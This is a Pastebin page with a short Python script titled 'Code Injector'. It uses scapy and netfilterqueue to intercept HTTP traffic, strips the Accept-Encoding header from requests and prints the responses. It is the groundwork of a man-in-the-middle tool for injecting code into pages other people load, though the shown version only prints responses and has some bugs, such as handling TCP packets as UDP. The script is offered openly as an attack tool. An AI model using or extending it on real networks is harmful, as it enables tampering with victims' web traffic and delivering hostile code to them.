Advertisement
Guest User

Code Injector

a guest
Dec 26th, 2020
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.82 KB | None | 0 0
  1. from scapy.all import *
  2. import netfilterqueue
  3. import re
  4.  
  5. def set_load(pkt, load):
  6. pkt[Raw].load = load
  7. try:
  8. del pkt[IP].len
  9. del pkt[IP].chksum
  10. del pkt[UDP].len
  11. del pkt[UDP].chksum
  12. except:
  13. pass
  14. return pkt
  15.  
  16.  
  17. def process(packet):
  18. pkt = IP(packet.get_payload())
  19. if pkt.haslayer(Raw):
  20. if pkt[TCP].dport == 80:
  21. print('[+]Request')
  22. load = pkt[Raw].load
  23. mod_load = re.sub("Accept-Encoding:.*?\\r\\n",'',str(load))
  24. new_packet = set_load(pkt, mod_load)
  25. packet.set_payload(bytes(new_packet))
  26. elif pkt[TCP].sport == 80:
  27. print("[+]Response")
  28. print(pkt.show())
  29. packet.accept()
  30.  
  31.  
  32.  
  33. queue = netfilterqueue.NetfilterQueue()
  34. queue.bind(0,process)
  35. queue.run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement